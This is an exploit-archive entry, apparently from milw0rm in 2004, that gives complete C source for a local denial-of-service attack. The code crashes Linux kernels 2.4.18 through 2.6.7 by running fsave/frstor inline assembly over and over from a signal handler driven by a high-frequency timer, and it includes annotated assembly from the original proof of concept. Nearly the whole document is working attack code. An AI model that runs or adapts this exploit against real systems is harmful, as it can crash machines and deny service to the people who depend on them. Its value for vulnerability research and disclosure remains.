Linux Kernel 2.4.x/2.6.x - Assembler Inline Function Local Denial of Service

/* -----------------------------------------------------------------------------
 * frstor Local Kernel exploit
 * Crashes any kernel from 2.4.18
 * to 2.6.7 because frstor in assembler inline offsets in memory by 4.
 * Original proof of concept code
 * by stian_@_nixia.no.
 * Added some stuff by lorenzo_@_gnu.org
 * and fixed the fsave line with (*fpubuf).
 * -----------------------------------------------------------------------------
 */

/*
-----------------------------------------
Some debugging information made
available by stian_@_nixia.no
-----------------------------------------
TakeDown:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $136, %esp
        leal    -120(%ebp), %eax
        movl    %eax, -124(%ebp)
#APP
        fsave -124(%ebp)

#NO_APP
        subl    $4, %esp
        pushl   $1
        pushl   $.LC0
        pushl   $2
        call    write
        addl    $16, %esp
        leal    -120(%ebp), %eax
        movl    %eax, -128(%ebp)
#APP
        frstor -128(%ebp)

#NO_APP
        leave
        ret
*/

#include <sys/time.h>
#include <signal.h>
#include <unistd.h>

static void TakeDown(int ignore)
{
 char fpubuf[108];
// __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
__asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
 write(2, "*", 1);
 __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
 struct itimerval spec;
 signal(SIGALRM, TakeDown);
 spec.it_interval.tv_sec=0;
 spec.it_interval.tv_usec=100;
 spec.it_value.tv_sec=0;
 spec.it_value.tv_usec=100;
 setitimer(ITIMER_REAL, &spec, NULL);
 while(1)
  write(1, ".", 1);

 return 0;
}
// <<EOF


// milw0rm.com [2004-06-25]